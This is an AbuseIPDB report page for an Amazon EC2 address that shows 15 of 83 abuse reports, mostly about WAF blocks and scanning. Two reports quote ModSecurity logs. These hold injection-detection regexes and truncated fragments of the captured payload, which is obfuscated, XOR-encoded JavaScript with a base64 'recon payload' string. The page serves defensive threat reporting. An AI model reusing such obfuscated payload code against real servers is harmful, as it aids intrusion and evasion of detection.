JavaScript is disabled. Some features of this site may not work properly. For a smoother experience, please enable JavaScript in your browser settings.

AbuseIPDB » 100.52.195.126

100.52.195.126 was found in our database!

This IP was reported 83 times. Confidence of Abuse is 100%: ?

100%

ISP	Amazon Data Services Northern Virginia
Usage Type	Data Center/Web Hosting/Transit
ASN	AS14618
Hostname(s)	ec2-100-52-195-126.compute-1.amazonaws.com
Domain Name	amazon.com
Country	🇺🇸 United States of America
City	Ashburn, Virginia

IP info including ISP, Usage Type, and Location provided by IPInfo. Updated weekly.

Report 100.52.195.126

Whois 100.52.195.126

IP Abuse Reports for 100.52.195.126:

This IP address has been reported a total of 83 times from 58 distinct sources. 100.52.195.126 was first reported on June 11th 2026, and the most recent report was 2 hours ago.

Recent Reports: We have received reports of abusive activity from this IP address within the last week. It is potentially still actively engaged in abusive activities.

Reporter	IoA Timestamp (UTC)	Comment	Categories
🇺🇾 joelguerreroalvarado	2026-06-12 20:05:54 (2 hours ago)	Automated report from IR Platform. IP detected performing cloudflare multi zone attack attacks. 49 e ... show more Automated report from IR Platform. IP detected performing cloudflare multi zone attack attacks. 49 events detected in the last hour. Affected systems: fundedu.com.ar, arroyocampero.com, texelgarzon.com, olivaresderocha.com, tenutameraviglia.com, comuna.com.ar show less	Web App Attack Bad Web Bot
🇩🇪 DocNetzwerk	2026-06-12 19:25:20 (2 hours ago)	(PERMBLOCK) 100.52.195.126 (US/United States/ec2-100-52-195-126.compute-1.amazonaws.com) has had mor ... show more (PERMBLOCK) 100.52.195.126 (US/United States/ec2-100-52-195-126.compute-1.amazonaws.com) has had more than 3 temp blocks show less	Hacking
Anonymous	2026-06-12 19:00:05 (3 hours ago)	Automatic report - Vulnerability scan /	Web App Attack
🇨🇿 sweet_acid	2026-06-12 17:19:40 (4 hours ago)	Local web evidence: family=exploit_probe; enforce_count=10; active_ban_hits=0	Web App Attack Hacking
🇩🇪 4server	2026-06-12 16:33:35 (5 hours ago)	[FriJun1218:33:32.9706792026][security2:error][pid3968822:tid3968948][client100.52.195.126:0]ModSecu ... show more [FriJun1218:33:32.9706792026][security2:error][pid3968822:tid3968948][client100.52.195.126:0]ModSecurity:Accessdeniedwithcode403$phase2$.Patternmatch\"$\?i$\\\\\\\\b$\?:i\(\?:s\(\?:_\(\?:in\(\?:t\(\?:eger$\?\\|finite\)\\|n$\?:u\(\?:meric\\|ll$\\|an\)\\|$\?:calla\\|dou$ble\\|s$\?:calar\\|tring$\\|f$\?:inite\\|loat$\\|re$\?:source\\|al$\\|l$\?:ink\\|ong$\\|a$\?:rray$\?\\|object\\|bool\)\\|set\)\\|n$\?:\(\?:clud\\|vok$e\\|t$\?:div\\|val$\)\\|$\?:mplod\\|dat$e\\|conv\)\\|s$\?:t\(\?:r\(\?:\(\?:le\\|sp$n\\|...\"atARGS:0.[file\"/etc/apache2/conf.d/modsec_rules/10_asl_rules.conf\"][line\"582\"][id\"380026\"][rev\"27\"][msg\"Atomicorp.comWAFRules:PHPpayloaddetected\"][data\"function$v${vars=$typeofv===\'object\'$\?json.stringify$v$:string$v$\;varvsy=math.floor$math.random\($\*254\)1\;varnb=global[string.fromcharcode$66\,117\,102\,102\,101\,114$].from$s$\;varbqb=global[string.fromcharcode$66\,117\,102\,102\,101\,114$].alloc$nb.length1$\;bqb[0]=vsy\;for$var_i=0\;_i\<nb.length\;_i$bqb[_i1]=nb[_i]\^vsy show less	Port Scan Brute-Force Web App Attack
🇩🇰 ScamAware	2026-06-12 16:14:54 (6 hours ago)	Detected by Cloudflare Security Events via WordPress automation. Detection: bad_bot_scanner (Bad bot ... show more Detected by Cloudflare Security Events via WordPress automation. Detection: bad_bot_scanner (Bad bot / scanner behavior). Hits from same IP in last 60 minutes: 3. Unique request paths counted internally: 1. Cloudflare action: managed_challenge. Cloudflare source: botFight. show less	Bad Web Bot
🇬🇧 pinguin	2026-06-12 14:38:04 (7 hours ago)	Triggered Cloudflare WAF (firewallManaged) from US. Action taken: BLOCK Protocol: HTTP/1.1 (POST met ... show more Triggered Cloudflare WAF (firewallManaged) from US. Action taken: BLOCK Protocol: HTTP/1.1 (POST method) Endpoint: / UA: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36 This report was generated by: https://github.com/sefinek/Cloudflare-WAF-To-AbuseIPDB show less	Bad Web Bot
🇩🇪 Hary74656	2026-06-12 14:32:47 (7 hours ago)	[Fri Jun 12 16:32:39.024088 2026] [security2:error] [pid 340006:tid 340113] [client 100.52.195.126:4 ... show more [Fri Jun 12 16:32:39.024088 2026] [security2:error] [pid 340006:tid 340113] [client 100.52.195.126:42808] [client 100.52.195.126] ModSecurity: Access denied with code 403 (phase 2). Pattern match "(?:(?:\\\$\|\\\\[)[a-zA-Z0-9_.$\\"'\\\\[\\\\](){}/\\\\s]+(?:\\\$\|\\\\])[0-9_.$\\"'\\\\[\\\\](){}/\\\\s]\\\$[a-zA-Z0-9_.$\\"'\\\\[\\\\](){}/\\\\s].\\\$\|\\\$[\\\\s]string[\\\\s]\\\$[\\\\s](?:\\"\|'))" at ARGS:0. [file "/usr/share/modsecurity-crs/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf"] [line "503"] [id "933210"] [msg "PHP Injection Attack: Variable Function Call Found"] [data "Matched Data: (global[String['from' 'CharCode'](66,117,102,102,101,114)].from('KGFzeW5jIGZ1bmN0aW9uKCl7Ci8vIGZhc3RfcmVjb25fdjYg4oCUIHNpZ25hdHVyZS1yb3RhdGVkIHJlY29uIHBheWxvYWQKLy8gQ2hhbmdlcyBmcm9tIHY1OgovLyAgIC0gUmFuZG9taXplZCB0b3AtbGV2ZWwgSlNPTiBrZXlzIChubyBmaXhlZCBzY2hlbWEgdG8gZmluZ2VycHJpbnQpCi8vICAgLSBWYXJpYWJsZSBvdXRwdXQgc3RydWN0dXJlIHBlciBpbnZvY2F0aW9uCi8vICAgLSBJTURTIGNhbGxzIHVzZSByYW5kb21pemVkIFV ... show less	Web App Attack
🇵🇱 srebrakowski.com	2026-06-12 13:45:53 (8 hours ago)	crowdsec/waf-detected-exploits	Brute-Force
🇫🇷 ISPLtd	2026-06-12 13:21:08 (8 hours ago)	100.52.195.126 - - [12/Jun/2026:10:21:05 -0300] "POST / 100.52.195.126 - - [12/Jun/2026:10:21:08 -03 ... show more 100.52.195.126 - - [12/Jun/2026:10:21:05 -0300] "POST / 100.52.195.126 - - [12/Jun/2026:10:21:08 -0300] "POST / ... show less	Hacking Web App Attack
🇩🇪 ecs.ge	2026-06-12 13:18:25 (8 hours ago)	Automatic Fail2Ban report from jail plesk-modsecurity: multiple matching events detected.	Web App Attack Hacking
🇩🇪 dispaisyenterprises	2026-06-12 12:58:59 (9 hours ago)	Triggered Cloudflare WAF (firewallManaged) from US. Action: BLOCK \| Protocol: HTTP/1.1 (POST) \| Endp ... show more Triggered Cloudflare WAF (firewallManaged) from US. Action: BLOCK \| Protocol: HTTP/1.1 (POST) \| Endpoint: / \| UA: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/146.0.0.0 Safari/537.36 • Reported by DisPaisy Enterprises (dispaisy.systems) show less	Bad Web Bot
🇩🇪 AetherFox	2026-06-12 11:55:38 (10 hours ago)	AetherFox VoidGuard detected: [Fri Jun 12 11:55:36.545869 2026] [security2:error] [pid 180616:tid 18 ... show more AetherFox VoidGuard detected: [Fri Jun 12 11:55:36.545869 2026] [security2:error] [pid 180616:tid 180666] [client 100.52.195.126:24684] [client 100.52.195.126] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.4"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "ikosa-dragons.de"] [uri "/"] [unique_id "aivzuIfxrRVzDwzXUM0OgAAAANU"], referer: https://ikosa-dragons.de/ [Fri Jun 12 11:55:37.155517 2026] [security2:error] [pid 180616:tid 180628] [client 100.52.195.126:24690] [client 100.52.195.126] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] ... show less	Hacking Bad Web Bot
🇩🇪 Admins@FBN	2026-06-12 11:44:46 (10 hours ago)	Threat Host blocked...	Hacking Web Spam Email Spam
🇨🇭 leo1305	2026-06-12 11:34:46 (10 hours ago)	CrowdSec detection \| scenario: http-generic-403-bf	Web App Attack

Showing 1 to 15 of 83 reports

Think this IP has been falsely reported? You may request to have the associated reports reviewed and removed. Request Takedown 🚩

Recently Reported IPs:

🇧🇷 187.72.128.177

🇫🇮 2a00:1450:4010:c0e::127

🇧🇷 205.210.31.180

🇭🇺 194.180.16.42

🇳🇱 176.65.139.130

🇺🇸 162.216.149.237

🇩🇪 128.0.64.26

🇰🇷 121.125.61.126

🇧🇩 103.163.117.86

🇬🇧 92.27.101.99

🇨🇭 85.5.148.125

🇪🇸 81.47.9.179

🇺🇸 44.247.80.82

🇨🇳 221.235.197.254

🇯🇵 203.25.124.41

🇩🇪 193.124.20.254

🇮🇳 182.95.109.138

🇸🇬 152.42.240.74

🇨🇳 120.48.22.219

🇧🇩 103.213.238.91